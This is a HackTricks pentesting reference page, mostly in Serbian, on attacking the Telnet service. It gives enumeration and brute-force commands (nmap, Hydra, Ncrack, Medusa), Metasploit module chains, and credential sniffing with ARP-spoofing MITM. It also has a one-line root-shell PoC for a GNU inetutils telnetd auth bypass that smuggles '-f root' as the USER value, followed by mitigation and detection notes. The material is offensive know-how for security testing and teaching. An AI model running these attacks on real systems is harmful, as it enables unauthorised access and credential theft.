23 - Pentesting Telnet
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Telnet je mrežni protokol koji korisnicima pruža nesiguran način pristupa računaru preko mreže.
Podrazumevani port: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
Svu zanimljivu enumeraciju može obaviti nmap:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Skript telnet-ntlm-info.nse će pribaviti NTLM informacije (Windows verzije).
From the telnet RFC: U TELNET protokolu postoje različite “opcije” koje mogu biti odobrene i mogu se koristiti u okviru strukture “DO, DON’T, WILL, WON’T” kako bi korisnik i server mogli da se dogovore o korišćenju složenijeg (ili možda samo drugačijeg) skupa konvencija za njihovu TELNET vezu. Takve opcije mogu uključivati promenu skupa karaktera, režima echo-a itd.
Znam da je moguće izlistati ove opcije, ali ne znam kako — javite mi ako znate kako.
Enumerisanje Telnet opcija / funkcionalnosti
Telnet koristi IAC + DO/DONT/WILL/WONT pregovore da omogući opcije. Podržane opcije možete uočiti hvatanjem početne razmene pregovora i ispitivanjem specifičnih funkcionalnosti.
Nmap probe opcija/funkcija
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
Skripta telnet-encryption proverava da li je opcija ENCRYPT podržana; neke implementacije su istorijski nepravilno obrađivale ovu opciju i bile su ranjive, ali skripta samo proverava podršku.
telnet-ntlm-info otkriva NTLM metapodatke (NetBIOS/DNS/OS build) kada je Microsoft Telnet NTLM omogućen.
telnet-brute je NSE brute-force auditor za Telnet.
Brute force
Konfiguracioni fajl
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Automatske komande
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Recent Vulnerabilities (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Neispravna validacija ulaza u telnet service omogućava udaljenim napadačima da se prijave koristeći ugrađene kredencijale i injektuju OS komande; ispravljeno u firmware 1.04B05 ili novijim.
- CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow u Telnet CLI
passwdkomandi omogućava network-adjacent code execution kao root; potrebna je autentifikacija, ali može biti zaobiđena. - CVE-2022-39028 – GNU inetutils telnetd: Dvobajtna sekvenca (
0xff 0xf7/0xff 0xf8) može izazvati NULL-pointer dereference utelnetd, a ponovljeni padovi mogu dovesti do toga da inetd onemogući servis (DoS).
Imajte ove CVE-ove na umu tokom trijaže ranjivosti — ako cilj radi na nepatchovanom firmware-u ili nasleđenom inetutils Telnet daemoni, možete imati direktan put do code-execution ili destruktivnog DoS-a.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
Primitive: Telnet NEW_ENVIRON dozvoljava klijentima da tokom option negotiation pošalju environment varijable; inetutils telnetd zamenjuje %U u svom login template sa getenv("USER") i prosleđuje ga direktno na /usr/bin/login, omogućavajući argv-level option injection (bez shell ekspanzije).
Root cause: verzije 1.9.3–2.7 proširuju %U bez filtriranja, tako da vrednost USER koja počinje sa - bude parsirana kao login flag. Na primer, %U postaje -f root, što daje /usr/bin/login -h <hostname> "-f root" i preskače autentifikaciju pomoću login -f.
Exploit flow:
- Povežite se na Telnet service i pregovarajte NEW_ENVIRON da postavite
USER=-f root. telnetdgradi argv za login uključujući vrednost%Ukoju kontroliše napadač./usr/bin/logintumači-f rootkao “pre-authenticated user root” i pokreće root shell.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Napomena o zakrpi: inetutils 2.7-2 uvodi sanitize() pomoćnu funkciju koja odbacuje vrednosti koje počinju sa - ili koje sadrže whitespace/metacharacters pre nego što ih zameni u login argv, blokirajući option injection.
Detekcija/verifikacija: identifikujte izložene daemone pomoću telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd ili netstat -tlnp | grep :23.
Mitigacije
- Primeni zakrpu/azuriraj pogođene pakete odmah (npr., Debian ispravke su u
2:2.4-2+deb12u2,2:2.6-3+deb13u1, и2:2.7-2). - Onemogući Telnet ili ograniči pristup na pouzdane mreže za upravljanje dok se primenjuju zakrpe.
Sniffing Credentials & Man-in-the-Middle
Telnet prenosi sve, uključujući credentials, u clear-text. Dva brza načina da ih presretnete:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Za aktivni MITM, kombinujte ARP spoofing (npr. arpspoof/ettercap) sa istim sniffing filterima kako biste sakupljali passwords na switched networks.
Automated Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Većina IoT botneta (Mirai varijante) i dalje skenira port 23 koristeći male rečnike podrazumevanih kredencijala — oponašanje te logike može brzo identifikovati slabe uređaje.
Eksploatacija i post-eksploatacija
Metasploit ima nekoliko korisnih modula:
auxiliary/scanner/telnet/telnet_version– banner i enumeracija opcija.auxiliary/scanner/telnet/brute_telnet– multithreaded bruteforce.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE protiv ranjivog Solaris 9/10 Telneta (rukovanje opcijom ENCRYPT).exploit/linux/mips/netgear_telnetenable– omogućava telnet servis pomoću konstruisanog paketa na mnogim NETGEAR ruterima.
Nakon što se dobije shell, zapamtite da su TTY-jevi obično “glupi”; nadogradite ga sa python -c 'import pty;pty.spawn("/bin/bash")' ili koristite HackTricks TTY tricks.
Hardening & Detection (Blue team corner)
- Preferirajte SSH i potpuno onemogućite Telnet servis.
- Ako je Telnet neophodan, ograničite ga samo na VLAN-ove za upravljanje, primenite ACL-ove i zaštitite daemon pomoću TCP wrappers (
/etc/hosts.allow). - Zamenite legacy
telnetdimplementacije sassl-telnetilitelnetd-sslda dodate enkripciju transporta, ali ovo štiti samo podatke u tranzitu — pogađanje lozinki ostaje trivijalno. - Pratite odlazni saobraćaj ka portu 23; kompromitovanja često pokreću reverse shelove preko Telnet-a kako bi zaobišla stroge HTTP egress filtere.
References
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


